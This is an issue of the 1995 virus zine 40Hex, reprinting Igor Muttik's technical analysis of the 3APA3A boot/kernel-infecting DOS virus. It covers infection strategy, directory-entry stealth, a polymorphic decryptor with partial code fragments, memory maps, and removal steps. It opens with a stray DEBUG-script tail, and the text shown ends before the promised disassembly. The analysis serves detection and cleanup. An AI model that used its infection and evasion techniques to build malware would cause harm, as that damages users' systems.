E 0500 00 00 00
|
|||
|
R CX
|
|||
|
0403
|
|||
|
W
|
|||
|
Q
|
|||
|
---------------------------
|
|||
|
|
|||
|
40Hex Number 14 Volume 5 Issue 1 File 007
|
|||
|
|
|||
|
Virus Spotlight: 3APA3A (ZARAZA)
|
|||
|
|
|||
|
This is a new virus which has come out of Russia. It has received a lot of
|
|||
|
publicity in the virus and anti-virus communities due to the unusual manner
|
|||
|
in which it infects. The following article, written by Igor G. Muttik, is a
|
|||
|
good description of the virus. A disassembly of the virus follows this text.
|
|||
|
|
|||
|
Dark Angel
|
|||
|
Phalcon/Skism '95
|
|||
|
---------------------------------
|
|||
|
3APA3A virus -- the first kernel infector.
|
|||
|
==========================================
|
|||
|
|
|||
|
Igor G. Muttik
|
|||
|
|
|||
|
Low Temperature Physics Laboratory,
|
|||
|
Physics Department,
|
|||
|
Moscow State University, 117234, Russia
|
|||
|
|
|||
|
Phones: +7 095 9391147
|
|||
|
+7 095 3396238
|
|||
|
Email: MIG@lt.phys.msu.su
|
|||
|
|
|||
|
|
|||
|
KEYWORDS
|
|||
|
--------
|
|||
|
|
|||
|
Virus, kernel, boot virus, resident, boot sector, kernel infector.
|
|||
|
|
|||
|
|
|||
|
ABSTRACT
|
|||
|
--------
|
|||
|
|
|||
|
A new virus, which was found in Moscow in the wild is described. It
|
|||
|
infects floppy disks as a normal boot virus. As against to normal boot
|
|||
|
viruses, it infects DOS kernel file (IO.SYS or IBMBIO.COM, etc.) on the
|
|||
|
hard disk. Thus, this virus can be regarded as a representative of a new
|
|||
|
virus type - "kernel infectors". Description of the virus internals is
|
|||
|
given. The virus structure, properties and behavior are discussed.
|
|||
|
Details on the polymorphicity of 3APA3A are presented. Given partial
|
|||
|
dumps may help to detect and cure the virus, but cannot be used to
|
|||
|
reconstruct it.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
INTRODUCTION
|
|||
|
------------
|
|||
|
|
|||
|
This new virus appeared in Moscow (Russia). It was found in the
|
|||
|
wild in Moscow 12-14 October 1994. The virus was named "3APA3A" (in
|
|||
|
Russian it stands for some slang form of "INFECTION"). The message with
|
|||
|
this string is stored (encrypted) in the body of the virus.
|
|||
|
|
|||
|
Size of the virus is 1024 bytes (exactly two sectors on the floppy
|
|||
|
disk or on the hard drive). The virus is multipartite: it infects boot
|
|||
|
sectors on the floppy disks and DOS core file (IO.SYS for MS-DOS;
|
|||
|
IBMBIO.COM for PC-DOS; etc.). Infection of the floppies is alike many
|
|||
|
known boot-sector viruses, but the algorithm of the hard drive infection
|
|||
|
is unique. Therefore, the virus belongs to a new virus class, which was
|
|||
|
named "kernel infectors". The virus does not analyze the name of DOS
|
|||
|
core file and I shall use IO.SYS name below for simplicity (it may also
|
|||
|
be IBMBIO.COM or any other). Once the hard drive has been infected, the
|
|||
|
virus activates every time the computer is turned on.
|
|||
|
|
|||
|
On the floppy disk, the first half of the virus is stored in the
|
|||
|
boot sector. Original floppy boot sector and the second half of the
|
|||
|
virus are stored at the very end of the root directory of the diskette.
|
|||
|
Thus, when infecting the floppy disk, the virus overwrites two last
|
|||
|
sectors in its root directory.
|
|||
|
|
|||
|
On the hard drive the virus is at the very beginning of the DOS
|
|||
|
core file (IO.SYS. IBMBIO.COM, etc.) -- it takes 1k.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
INFECTION STRATEGY
|
|||
|
------------------
|
|||
|
|
|||
|
After boot from the infected floppy disk, the virus tries to infect
|
|||
|
the first file in the root directory of the first DOS partition (usually
|
|||
|
it is IO.SYS file). Map of memory usage (at the moment of HDD infection)
|
|||
|
is given in Fig.1. The virus uses segment 7C00 (not 7C0!) for its own
|
|||
|
buffer (3.5k+sizeof(IO.SYS)). This segment value -- 7C00 corresponds to
|
|||
|
(512k-16k). Computer memory size equal to 512k will be usually
|
|||
|
insufficient for normal virus operation, because size of the core file
|
|||
|
(IO.SYS/IBMBIO.COM) exceeds 16k in most modern DOS versions. Sizes of
|
|||
|
the system files for some DOS versions are given in Fig.2. Therefore,
|
|||
|
the virus is hardly viable on the computers without 640k.
|
|||
|
|
|||
|
3APA3A virus assumes that the active DOS partition has a boot
|
|||
|
sector at CX=0001, DX=0180 (INT_13 notation: i.e., 1st HDD, head=1,
|
|||
|
sector=1). It tries to infect only this first partition. If active boot
|
|||
|
sector is anywhere else - 3APA3A will fail to infect hard disk properly.
|
|||
|
The virus does not even read MBR to investigate disk partitioning.
|
|||
|
|
|||
|
The virus can only infect the hard drive, if the first DOS
|
|||
|
partition is bigger than 10.6MB (i.e., if it uses 16-bit FAT; the virus
|
|||
|
cannot infect other FAT types). That was probably done for simplicity,
|
|||
|
because it will be more difficult to handle 12-bit FATs (or even both
|
|||
|
FAT types). The author of the 3APA3A virus, probably, decided to make
|
|||
|
the virus shorter. Fortunately (for him), 16-bit FATs are much more
|
|||
|
frequent now than 12-bit and much easier to handle. Actually, the virus
|
|||
|
checks whether total number of sectors in media (i.e., in the first
|
|||
|
partition) is greater than 5103h or zero. Corresponding fragment of code
|
|||
|
is given in Fig.3. The comparison with zero is really needed, because
|
|||
|
all partitions, which have more than 65535 sectors (>32MB) carry zero in
|
|||
|
this field (and always uses 16-bit FATs).
|
|||
|
|
|||
|
3APA3A virus does not check neither attributes of the first
|
|||
|
directory entry, nor its name -- it will even "infect" a subdirectory
|
|||
|
entry if it is located at the very first position in the root directory
|
|||
|
of the hard disk (that is possible under DOS 5.0 or higher). When
|
|||
|
infecting this first entry, the virus duplicates it (i.e., copies IO.SYS
|
|||
|
file cluster chain, duplicates its directory entry and updates the FATs)
|
|||
|
and then infects the original IO.SYS file. It also marks this duplicated
|
|||
|
directory entry with a volume-label bit. This bit serves as an infection
|
|||
|
marker (if it is set, 3APA3A virus decides that the hard drive is
|
|||
|
already infected). This bit (when set) simultaneously preserves the
|
|||
|
infected IO.SYS file from DOS file access -- all DOS file-oriented
|
|||
|
functions AH=3Dh, 3Eh, 3Fh, 40h will skip this entry. Moreover, this
|
|||
|
infected file will be not mentioned in the directory listing, because of
|
|||
|
this bit. That looks like a smart non-resident type of stealth virus.
|
|||
|
|
|||
|
The virus reads only 5 sectors of the root directory of the first
|
|||
|
DOS partition (others are ignored). 3APA3A virus makes a root directory
|
|||
|
modification using two shifts (see Fig.4). The first copies entries #3-
|
|||
|
#79 to the location of #4-#80. The second copies #1 (IO.SYS) to #3. The
|
|||
|
first shift erases one directory entry (#80, the very last on the 5th
|
|||
|
directory sector) and it is unrecoverably lost. If this entry was a
|
|||
|
subdirectory -- all files in it will become inaccessible. Two shifts are
|
|||
|
needed to guarantee that the first two entries are still IO.SYS and
|
|||
|
MSDOS.SYS. That is done by the virus to achieve maximum compatibility
|
|||
|
-- some old versions of DOS (prior to DOS 5.0) require IO.SYS and
|
|||
|
MSDOS.SYS at the very beginning of the root directory and the virus
|
|||
|
tries to follow this rule.
|
|||
|
|
|||
|
After directory modification we have two IO.SYS entries in the root
|
|||
|
directory, but the first is not shown in the directory listing, because
|
|||
|
this entry has volume-label bit set. Both mentioned directory entries
|
|||
|
point on two copies of IO.SYS. The first IO.SYS (infected) is located in
|
|||
|
its old place and it differs from the original in only first 1024 bytes
|
|||
|
(now, after infection, it is a virus itself). The second IO.SYS
|
|||
|
directory entry points on a clone of the original IO.SYS file
|
|||
|
(uninfected), which was copied by the virus to the very end of the first
|
|||
|
DOS partition. When copying original IO.SYS cluster-by-cluster to the
|
|||
|
partition end, the virus checks whether there is free place on disk (it
|
|||
|
reads last sector of FAT). Scanning this last FAT sector (it represents
|
|||
|
256 clusters), the virus accurately skips used clusters. If there is no
|
|||
|
more free clusters (among these 256) -- the virus will stop the entire
|
|||
|
infection process. But if there is a place for IO.SYS copy -- it will be
|
|||
|
created. This second IO.SYS copy at the disk end serves for two purposes
|
|||
|
-- as a source of the original IO.SYS start (1k) and as a decoy for
|
|||
|
scanners and integrity checkers (they will probably prefer to
|
|||
|
scan/analyse this non-volume-labeled file).
|
|||
|
|
|||
|
When computer is turned on, DOS boot sector (which was not modified
|
|||
|
by the virus in any way, as well as a master boot record MBR) runs.
|
|||
|
There is no DOS file system yet and the program in the boot sector
|
|||
|
"simply" reads the root directory of the hard disk and finds the first
|
|||
|
IO.SYS entry. This entry points on the infected IO.SYS file.
|
|||
|
Unfortunately, DOS boot record program ignores volume-label bit, unlike
|
|||
|
DOS file system. Thus, the infected copy of the DOS core file IO.SYS is
|
|||
|
started by DOS boot sector at each computer reboot.
|
|||
|
|
|||
|
When the virus gains control, it saves itself in the computer
|
|||
|
memory (like a normal boot-sector virus) -- decreases the memory
|
|||
|
available to DOS on 2 kilobytes (it changes the word at address
|
|||
|
[0:413]). A reduction in DOS memory is a usual sign of presence of a
|
|||
|
boot virus. The location of the virus in computer memory is easily
|
|||
|
calculated. For example, for a normal 640k computer, code segment of the
|
|||
|
virus will be 9F80. The virus intercepts only disk i/o interrupt
|
|||
|
(INT_13). Now all accesses to the floppy disks result in their
|
|||
|
infection. The virus infects floppy disks both in A: and B: drives.
|
|||
|
Finally, it passes the control to the original IO.SYS.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
INTERNAL VIRUS STRUCTURE
|
|||
|
------------------------
|
|||
|
|
|||
|
The virus consists of two parts (sectors, 512 bytes each). These
|
|||
|
two parts are pretty independent! The first (which is stored in the
|
|||
|
floppy boot sector) is responsible for infection of the hard drive (it
|
|||
|
checks for virus presence on the hard drive, copies IO.SYS to the
|
|||
|
partition end, modifies root directory, updates all FATs, makes new
|
|||
|
IO.SYS with the virus code (1k) at the very start, makes IO.SYS
|
|||
|
directory entry with a volume-label bit set, and calls original floppy
|
|||
|
boot sector. At the very end this part stores the location of the
|
|||
|
infected IO.SYS for future use of the second virus part. The second
|
|||
|
virus sector (IO_sector) contains trigger routine, message payload,
|
|||
|
resident installer and INT_13 handler with "polymorphic" encryption
|
|||
|
routine.
|
|||
|
|
|||
|
The first virus sector is in a boot sector of the contaminated
|
|||
|
diskette, the second virus sector -- in the last sector of root
|
|||
|
directory. On the hard disk this sequence is opposite -- infected IO.SYS
|
|||
|
is started with mentioned second virus sector (IO_sector), which is
|
|||
|
followed by a boot sector.
|
|||
|
|
|||
|
Therefore, first virus sector contains a program to infect hard
|
|||
|
drive and IO_sector is simply placed into IO.SYS and not executed in any
|
|||
|
part. The IO_sector contains a program to infect floppy disks and it
|
|||
|
simply places infected boot sector (after appropriate encryption) on the
|
|||
|
floppy disk.
|
|||
|
|
|||
|
Two virus parts (boot sector and IO_sector) work at different time
|
|||
|
(first -- only at boot from the infected floppy, second -- only at boot
|
|||
|
from the hard drive) and virus boot sector only once passes a parameter
|
|||
|
(DX:AX) to the IO_sector. Only one procedure is shared by both virus
|
|||
|
parts -- which converts sector# in DX:AX into CX=sec/cyl, DH=head (and
|
|||
|
the virus has to patch offset in E8 call to this procedure, because it
|
|||
|
is located at different offset now, not in 0000:7C00, as at boot time;
|
|||
|
this procedure is at 7DD3 and/or at 3D3).
|
|||
|
|
|||
|
Unlike many other boot sector viruses, 3APA3A encrypts its code (in
|
|||
|
a floppy boot sector). Moreover, 3APA3A virus is slightly polymorphic,
|
|||
|
which is even more unusual -- decryptor of the infected boot sector is
|
|||
|
variable. By the way, only very few boot-sector viruses have
|
|||
|
polymorphic properties. The dump of the virus decryption routine is
|
|||
|
given in Fig.5. The order of instruction is fixed. Random value (word)
|
|||
|
is taken from BIOS timer counter [0:46C]. There are 8 types of
|
|||
|
encryption routine (4 use DI register, 4 use SI). Probability of SI
|
|||
|
usage is 3 times higher, than usage of DI. One can see that the offset
|
|||
|
of decryptor's terminating jump is encrypted with 25% probability (byte
|
|||
|
at 7C2B, which is an offset of a conditional jump, is encrypted with the
|
|||
|
mentioned probability). Thus, the virus decryptor will hang with a 25%
|
|||
|
probability on 386 and 486 processors. Lower processors (8088-80286)
|
|||
|
have a small queue (8088,80188,V20=4; 8086,80186,V30=6; 80286=8) and it
|
|||
|
is not sufficient to store whole decryption cycle and cause a hang.
|
|||
|
Pentium is free of this problem, because it can detect the access to the
|
|||
|
pre-fetched bytes and flash the queue. On 80386-80486 processors the
|
|||
|
virus will hang with 25% probability when booting from floppy disk if
|
|||
|
the JNZ offset was encrypted -- data in memory and in processor queue
|
|||
|
will become different during decryption, processor will go into garbage
|
|||
|
codes and hang.
|
|||
|
|
|||
|
Because of the encryption, only string like 'MSDOS 5.0' is visible
|
|||
|
at the beginning of the boot sector (this string is a reminiscence of an
|
|||
|
original boot sector of a floppy disk). Obviously, 55AA marker is
|
|||
|
present at the very end of the boot-sector. Second virus part
|
|||
|
(IO_sector), which is placed at the very last sector of the root
|
|||
|
directory of the floppy disk, is not encrypted at all. Its location is
|
|||
|
stored inside the code of the first virus sector at the moment of floppy
|
|||
|
infection.
|
|||
|
|
|||
|
Two bytes in the boot sector are used as an infection marker --
|
|||
|
byte at offset 18h must be zero and byte at 21h must be 2Eh (first is
|
|||
|
byte from BPB, second -- constant byte in the decryption routine,
|
|||
|
CS: prefix). Prior to the infection of floppy disk the virus performs
|
|||
|
checks whether this marker is already present. If this is the case --
|
|||
|
the virus decides that floppy disk is already infected.
|
|||
|
|
|||
|
If, occasionally, you will place too many files in the root
|
|||
|
directory of the floppy and the directory entries will overwrite the
|
|||
|
second virus sector (IO_sector) -- this floppy disk will become a
|
|||
|
carrier of a damaged virus. If now any hard drive will be infected with
|
|||
|
this floppy, it will become unbootable (start of IO.SYS file will carry
|
|||
|
the directory entries from the floppy directory, instead of the virus
|
|||
|
body).
|
|||
|
|
|||
|
The structure of the second virus sector (IO_sector) is shown in
|
|||
|
Fig.6. DOS boot sector loads this code (as a part of normal IO.SYS) to
|
|||
|
computer memory. After virus code (first 1k in IO.SYS) follows normal
|
|||
|
IO.SYS image. The virus moves its own code (this 1k) to CS=9F80 (for a
|
|||
|
normal 640k PC) and replaces it with an original IO.SYS start. Original
|
|||
|
IO.SYS start is read from hard disk and its position was stored inside
|
|||
|
the virus body at the moment of hard drive infection. Final RETF
|
|||
|
transfers control to the original IO.SYS image, which was "assembled" in
|
|||
|
memory by 3APA3A virus.
|
|||
|
|
|||
|
Memory map usage of 3APA3A virus, when it is resident in the
|
|||
|
computer memory, is given in Fig.7. When the virus analyses an access to
|
|||
|
the floppy drive, sitting on the INT_13, it does not perform full check
|
|||
|
whether boot sector is accessed (usually AH=02, CX=0001, DH=0), but it
|
|||
|
calculates the sum DH+CL+CH and decides that boot sector is accessed if
|
|||
|
it is equal to 1. That is not very compatible approach (because AH is
|
|||
|
ignored at all) and I have found one program, which confused 3APA3A
|
|||
|
and virus even tried to access empty A: and B: drives. This program is
|
|||
|
PU_1700.COM -- a resident BIOS extension to format/access floppies of
|
|||
|
1.44MB size in a 5.25" high-density floppy drives. When PU_1700 is
|
|||
|
loaded with the virus active in memory, both floppy drives turn on their
|
|||
|
LEDs.
|
|||
|
|
|||
|
Unusual method is used by the virus to access original INT_13
|
|||
|
routine from inside of virus INT_13 handler. The virus patches its own
|
|||
|
program (Fig.8) -- places JMP instruction near the beginning of its own
|
|||
|
handler, i.e., it "closes the window leaf". Now the virus makes an
|
|||
|
INT_13 call (it is, obviously, reentrant call). Upon return from this
|
|||
|
call the "window leaf" is opened back (JMP is replaced with JNZ).
|
|||
|
|
|||
|
The virus carries the following message -- "B BOOT CEKTOPE -
|
|||
|
3APA3A!" This string is in Russian, and translation is -- "IN BOOT
|
|||
|
SECTOR - INFECTION!". Besides its usual use as "infection/contagion",
|
|||
|
"3APA3A" in Russian designates something particularly boring and
|
|||
|
annoying.
|
|||
|
|
|||
|
This string is encrypted (it is located at offset 9A in the
|
|||
|
IO_sector of the virus, its length is 1A bytes) and it is not visible
|
|||
|
even in memory. It will be printed in August on each reboot from the
|
|||
|
hard drive (the virus calls INT_1A/AH=04 and checks if DH=08).
|
|||
|
Obviously, the virus will never print the message on XT computers,
|
|||
|
because they do not support INT_1A/AH=04 (have no AT-CMOS clock). If the
|
|||
|
message is not printed, the virus does not advertise its presence at
|
|||
|
all. It is, therefore, quite difficult to spot.
|
|||
|
|
|||
|
Method of the encryption of this string is somewhat unusual (see
|
|||
|
Fig. 9). It looks like a "delta"-coding, because the current byte in the
|
|||
|
series, when being added to the previous character code, gives the next
|
|||
|
one. The virus message terminates with ASCII codes "07", "0D", "10" (see
|
|||
|
Fig.9). First is a beep, second is a carriage return symbol (CR), but
|
|||
|
the last is probably cased by a mistype of the virus author. He probably
|
|||
|
wanted to type CR, LF (normal string terminator), but used hexadecimal
|
|||
|
10, instead of decimal (i.e., 10h instead of 0Ah).
|
|||
|
|
|||
|
The virus message is written in Russian, but is composed only of
|
|||
|
the pure English ASCII symbols. The reason is simple -- message is
|
|||
|
printed at boot time, when software Cyrillic character generator is not
|
|||
|
yet loaded, so it is not possible to use Cyrillic letters. The only
|
|||
|
way -- to compose message from normal ASCII letters and digits (digit
|
|||
|
"3" represents Russian letter, which sounds like "Z").
|
|||
|
|
|||
|
Correct spelling of the virus name -- "3APA3A" in Russian is
|
|||
|
"ZARAZA". Here all "Z" sound like in "zero" and all "A" sound like "u"
|
|||
|
in "cut".
|
|||
|
|
|||
|
3APA3A virus carries no special destructive payload.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
3APA3A: TREATMENT AND RUMORS
|
|||
|
----------------------------
|
|||
|
|
|||
|
After infection of the hard disk the first root directory entry is
|
|||
|
always marked with a volume label bit. Therefore, old disk volume label
|
|||
|
will be not shown and the infected hard disk will usually carry label
|
|||
|
"IO SYS" (or "IBMBIO COM" for PC-DOS, etc.). It will be reported
|
|||
|
by DIR and LABEL command. The most noticeable effect of virus presence
|
|||
|
is an unusual disk label.
|
|||
|
|
|||
|
This new "label" is uneraseable and unchangeable even with a LABEL
|
|||
|
command. Probably DOS is confused with a strange volume label, which has
|
|||
|
a non-zero length and it refuses to change it. Unfortunately, DOS even
|
|||
|
does not report that he fails to change (delete) the disk label -- no
|
|||
|
error or warning message is given.
|
|||
|
|
|||
|
First attempt of an inexperienced user to remove the virus may be
|
|||
|
the usage of undocumented FDISK /MBR call, which reinitializes the MBR
|
|||
|
program, leaving partition table intact. Obviously, this approach not
|
|||
|
works, because the virus is not stored in the MBR. Reinitialization of
|
|||
|
DOS boot sector will not help too. That is because copy of the virus
|
|||
|
code is neither in MBR, nor in DOS boot sector, but in IO.SYS file.
|
|||
|
|
|||
|
The most reasonable operation is to try to get rid of the 3APA3A
|
|||
|
virus using SYS C: command. Unfortunately it does not work too! And even
|
|||
|
after booting from the clean diskette! The reason is obvious -- SYS C:
|
|||
|
will modify/remove the second copy of the IO.SYS file (uninfected
|
|||
|
copy!), which is located at the very end of the first DOS partition. The
|
|||
|
infected copy of IO.SYS will not be rewritten, because volume-label bit
|
|||
|
preserved it from being recognized by SYS program as a DOS core file.
|
|||
|
|
|||
|
CHKDSK (in MS-DOS) will always report errors on the infected hard
|
|||
|
disk, because it will be alarmed with a FAT chain, attached to the
|
|||
|
volume-labeled file. Note, that MS-DOS and DR-DOS behaves differently
|
|||
|
with "volume-labeled" files.
|
|||
|
|
|||
|
Norton Disk Doctor (I tested NDD from Norton Utilities 6.0) gives
|
|||
|
no warnings on the contaminated hard disk.
|
|||
|
|
|||
|
Note that many disk optimizers (like Norton SpeedDisk) prefer to
|
|||
|
place the subdirectories in the very beginning of the root directory
|
|||
|
(it is possible only in later versions of DOS, probably starting at
|
|||
|
5.00). The virus does not check if IO.SYS is really the first entry in
|
|||
|
the root directory (only checks volume bit!), so it can easily take the
|
|||
|
first directory in the root and regard it as an infectable DOS core
|
|||
|
file! Such an attempt to "infect" the hard drive will fail -- the virus
|
|||
|
will perform all its actions, but original IO.SYS will be intact.
|
|||
|
Presence of duplicated subdirectory (if it was the 1st entry) will not
|
|||
|
affect normal operation of the computer, because this duplicated
|
|||
|
subdirectory with volume-label bit will be ignored by DOS. And original
|
|||
|
IO.SYS (placed by SpeedDisk somewhere else in the root directory) will
|
|||
|
be uninfected. Only CHKDSK will report disk errors.
|
|||
|
|
|||
|
The simple sequence of actions to remove the virus from hard drive
|
|||
|
is the following:
|
|||
|
|
|||
|
1. Delete IO.SYS file (original uninfected copy). You may need to
|
|||
|
remove Hidden/System/Read-Only attributes to do that (for example use
|
|||
|
Norton Commander).
|
|||
|
|
|||
|
2. Remove "Vol" attribute from the infected IO.SYS in the root (you
|
|||
|
can use Norton DiskEdit to do this; infected volume-labeled IO.SYS is
|
|||
|
the 1st directory entry).
|
|||
|
|
|||
|
3. Delete IO.SYS file (infected copy). You may need to remove
|
|||
|
Hidden/System/Read-Only attributes to do that (for example use NC).
|
|||
|
|
|||
|
4. Run CHKDSK /F and inspect/remove FILE00xx.CHK if any (some disk
|
|||
|
errors may have been appeared on the hard disk because of the lost #80
|
|||
|
dir entry).
|
|||
|
|
|||
|
5. Run SYS C: from the system floppy disk to restore IO.SYS.
|
|||
|
|
|||
|
Note: Actions 1)-3) can be done with Norton DiskEdit.
|
|||
|
|
|||
|
The virus is very virulent, but we hope that the infection will be
|
|||
|
local, because anti-3APA3A measures were undertaken shortly. The users
|
|||
|
were notified about the possible threat and anti-virus programs
|
|||
|
appeared, which are capable to detect and remove 3APA3A from diskettes
|
|||
|
and from the hard drive.
|
|||
|
|
|||
|
There is an unconfirmed information that currently available 3APA3A
|
|||
|
virus is actually the second virus in the strain. According to the
|
|||
|
information from Russian anti-virus circles, there was a previous
|
|||
|
version, which was released in March 1994 and computers in some banks in
|
|||
|
Moscow were contaminated. The author of 3APA3A virus wrote a couple of
|
|||
|
Email messages, which were delivered through Fidonet without the
|
|||
|
originating address and they had a signature "Gena". Last stands for the
|
|||
|
male name. He insisted that there are at least two versions in the wild.
|
|||
|
He claimed that he already created more "powerful" version(s), but they
|
|||
|
are still in the "research phase" and not yet in the wild. He also wrote
|
|||
|
that his viruses were caught with such a big delay, that he is fully
|
|||
|
contented. There is also a rumor that the author of 3APA3A viruses was
|
|||
|
forced to delete all his assembler texts by indignant PC users.
|
|||
|
|
|||
|
|
|||
|
ACKNOWLEDGEMENTS
|
|||
|
----------------
|
|||
|
|
|||
|
I am acknowledged to VForum members for the fruitful discussion of
|
|||
|
3APA3A properties (especially to Anthony Naggs, Vesselin Bontchev and
|
|||
|
Paul Ducklin). I am also acknowledged to Igor Daniloff (SALD, Saint-
|
|||
|
Petersburg, Russia).
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
FIGURES
|
|||
|
-------
|
|||
|
|
|||
|
Figure 1. Map of memory usage of 3APA3A virus, when the virus boot
|
|||
|
sector is infecting the hard drive.
|
|||
|
|
|||
|
Address Size Function (buffer for)
|
|||
|
-------------------------------------------------------
|
|||
|
7C00:0000 200h Hard drive boot sector
|
|||
|
7C00:0200 2 AX for INT_13 (0201h, 0301h, etc.)
|
|||
|
7C00:0202 1 DH for INT_13 (usually 80h)
|
|||
|
7C00:0203 200h FAT end
|
|||
|
7C00:0403 A00h HDD Root directory, 5 sectors only!
|
|||
|
7C00:0E03 200h FAT start
|
|||
|
7C00:1003 2000h 1 cluster of original IO.SYS (*)
|
|||
|
7C00:3003 2000h 2 cluster
|
|||
|
7C00:5003 2000h 3 cluster
|
|||
|
7C00:7003 2000h 4 cluster
|
|||
|
7C00:9003 2000h 5 cluster
|
|||
|
7C00:B003 2000h 6 cluster
|
|||
|
... ... ...
|
|||
|
7C00:xx03 2000h last IO.SYS cluster
|
|||
|
-------------------------------------------------------
|
|||
|
(*) Cluster size was taken 8192 bytes (16 sectors) only for example.
|
|||
|
It may be different according to sectors/cluster ratio.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Figure 2. Sizes of DOS system files for different versions (in bytes).
|
|||
|
-------------------------------------------------------------
|
|||
|
DOS version DOS type IO/IBMBIO MSDOS/IBMDOS COMMAND.COM
|
|||
|
--------------------------------------------------------------
|
|||
|
1.00 PC 2047 6400 4959
|
|||
|
2.00 PC 4907 17411 18160
|
|||
|
3.00 PC 8964 27920 22042
|
|||
|
3.30 MS 22357 30128 25276
|
|||
|
4.00 PC 32810 35984 37637
|
|||
|
4.01 MS 33337 37376 37557
|
|||
|
5.00 MS 33430 37394 47845
|
|||
|
6.20 MS 40566 38138 54500
|
|||
|
--------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Figure 3. Virus code fragment, which checks whether partition uses 16
|
|||
|
bit FAT or not.
|
|||
|
|
|||
|
7C75 A11300 MOV AX,[0013] ;total sectors in media on HDD
|
|||
|
7C78 48 DEC AX ;0000 -> FFFF (for big disks!)
|
|||
|
7C79 3D0351 CMP AX,5103 ;16 bit FAT guaranteed!
|
|||
|
7C7C 76B1 JBE 7C2F ;pass control to floppy boot
|
|||
|
...
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Figure 4. Modification of the root directory of first DOS partition by
|
|||
|
3APA3A virus: a) initial layout, b) after first shift c) after copying
|
|||
|
of IO.SYS entry to 3rd position.
|
|||
|
|
|||
|
------------- ------------- -------------
|
|||
|
#1 IO.SYS IO.SYS IO.SYS -> infected IO.SYS
|
|||
|
------------- ------------- -------------
|
|||
|
#2 MSDOS.SYS MSDOS.SYS MSDOS.SYS
|
|||
|
------------- ------------- -------------
|
|||
|
#3 FILE0003.EXT FILE0003.EXT IO.SYS -> copy of IO.SYS
|
|||
|
------------- ------------- -------------
|
|||
|
#4 FILE0004.EXT FILE0003.EXT FILE0003.EXT
|
|||
|
------------- ------------- -------------
|
|||
|
...
|
|||
|
------------- ------------- -------------
|
|||
|
#79 FILE0079.EXT FILE0078.EXT FILE0078.EXT
|
|||
|
------------- ------------- -------------
|
|||
|
#80 FILE0080.EXT FILE0079.EXT FILE0079.EXT
|
|||
|
------------- ------------- -------------
|
|||
|
|
|||
|
a) b) c)
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Figure 5. The decryptor of virus floppy boot sector is polymorphic. A
|
|||
|
caret "^" symbol designates variable bytes. Number in brackets
|
|||
|
corresponds to a comment below.
|
|||
|
|
|||
|
7C1E BE2C7C MOV SI,7C2C ;starting address
|
|||
|
^^^^ (1)
|
|||
|
7C21 2E CS: ;infection marker! (1 byte of 2)
|
|||
|
7C22 800470 ADD BYTE PTR [SI],70
|
|||
|
^^^^^^ (2)
|
|||
|
7C25 46 INC SI
|
|||
|
^^ (3)
|
|||
|
7C26 81FEFB7D CMP SI,7DFB ;upper limit ?
|
|||
|
^^^^ (4)
|
|||
|
7C2A 75F5 JNZ 7C21 ;<- JNZ offset may be encrypted
|
|||
|
^^ (5)
|
|||
|
7C2C ...
|
|||
|
|
|||
|
(1) These two bytes are variable and may be: 2BBE, 2CBE, 2DBE or 2EBF.
|
|||
|
Makes: MOV SI, 7C2B; MOV SI, 7C2C; MOV SI, 7C2D; MOV DI, 7C2E.
|
|||
|
Thus, start of encryption at address: 7C2B, 7C2C, 7C2D, 7C2E
|
|||
|
(with equal probability).
|
|||
|
|
|||
|
(2) These three bytes are variable:
|
|||
|
F61490 or F61590 NOT BYTE PTR [SI] ;or [DI] (3rd byte is 90h)
|
|||
|
8004xx or 8005xx ADD BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)
|
|||
|
802Cxx or 802Dxx SUB BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)
|
|||
|
8034xx or 8035xx XOR BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)
|
|||
|
|
|||
|
(3) This byte may be 46 (INC SI, 75% probability) or
|
|||
|
47 (INC DI, 25% probability)
|
|||
|
|
|||
|
(4) These two bytes are variable: FAFE, FBFE, FCFE or FDFF.
|
|||
|
Makes: CMP SI,7DFA; CMP SI,7DFB; CMP SI,7DFE; CMP DI,7DFD)
|
|||
|
|
|||
|
(5) This byte may be encrypted (probability=25%)! And the virus
|
|||
|
will hang on 386, 486 because of processor queue pre-fetch.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Figure 6. Global structure of the virus IO_sector.
|
|||
|
|
|||
|
0000:7C00 PUSH CS ;places startCS on stack
|
|||
|
CALL $+3
|
|||
|
POP SI ;gets relative position in CS
|
|||
|
SUB SI,4 ;sizeof(PUSH+CALL)
|
|||
|
PUSH SI ;places it on stack
|
|||
|
;(startCS:SI=0000:7C00 is on stack)
|
|||
|
PUSH AX/BX/CX/DX/DS/ES
|
|||
|
---------------------
|
|||
|
| viral code |
|
|||
|
---------------------
|
|||
|
---------------------
|
|||
|
| copy virus |
|
|||
|
| code to |
|
|||
|
| ES=9F80 |
|
|||
|
---------------------
|
|||
|
PUSH ES ;ES=9F80
|
|||
|
MOV AX,006C
|
|||
|
PUSH AX ;(9F80:006C is on stack now)
|
|||
|
RETF ;same as JMP 9F80:006C
|
|||
|
|
|||
|
9F80:006C ---------------------
|
|||
|
| read 2 sectors |
|
|||
|
| from original |
|
|||
|
| IO.SYS to |
|
|||
|
| 0000:7C00 | ;read 1k to startCS:SI=0000:7C00
|
|||
|
| ... |
|
|||
|
---------------------
|
|||
|
POP ES/DS/DX/CX/BX/AX
|
|||
|
RETF ;same as JMP 0000:7C00
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Figure 7. Map of memory usage of 3APA3A virus, when it is resident in
|
|||
|
computer memory (CS=9F80 and the virus sets DS=ES=9FA0).
|
|||
|
|
|||
|
----------------------------------------------------------------------
|
|||
|
Address (same as) Size Function
|
|||
|
CS:offset DS:offset (bytes) (buffer for)
|
|||
|
----------------------------------------------------------------------
|
|||
|
9F80:0000 200h IO_sector
|
|||
|
9F80:0200 9FA0:0000 200h Virus boot sector
|
|||
|
(used for encryption)
|
|||
|
9F80:0400 9FA0:0200 2 0201/0301 (AX for INT_13)
|
|||
|
9F80:0402 9FA0:0202 1 0/1 (DL for INT_13)
|
|||
|
9F80:041E 9FA0:021E 1E2h Virus boot sector code (orig. copy)
